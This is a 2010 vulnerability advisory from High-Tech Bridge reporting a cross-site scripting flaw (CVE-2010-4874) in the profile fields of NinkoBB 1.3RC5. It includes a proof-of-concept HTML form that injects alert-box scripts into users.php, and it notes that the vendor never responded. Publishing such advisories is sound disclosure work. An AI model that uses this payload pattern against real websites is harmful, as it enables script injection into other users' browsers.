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Cross-site Scripting (XSS) Vulnerability in NinkoBB

Advisory ID:HTB22652
Vulnerable Versions:1.3RC5 and probably prior
Tested Version:1.3RC5
Advisory Publication:October 13, 2010 [without technical details]
Vendor Notification:October 13, 2010
Public Disclosure:October 27, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2010-4874
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Not Fixed
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in NinkoBB which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in NinkoBB: CVE-2010-4874
The vulnerability exists due to input sanitation error in parameters "msn","aim","first_name" and "last_name" in users.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/users.php?a=profile" method="post" />
<input type="hidden" name="first_name" value="&quot;><script>alert('XSS1');</script>">
<input type="hidden" name="last_name" value="&quot;><script>alert('XSS2');</script>">
<input type="hidden" name="msn" value="&quot;><script>alert('XSS3');</script>">
<input type="hidden" name="aim" value="&quot;><script>alert('XSS4');</script>">
<input type="submit" name="profile" value="submit">

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Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

[1] High-Tech Bridge Advisory HTB22652 - - Cross-site Scripting (XSS) Vulnerability in NinkoBB
[2] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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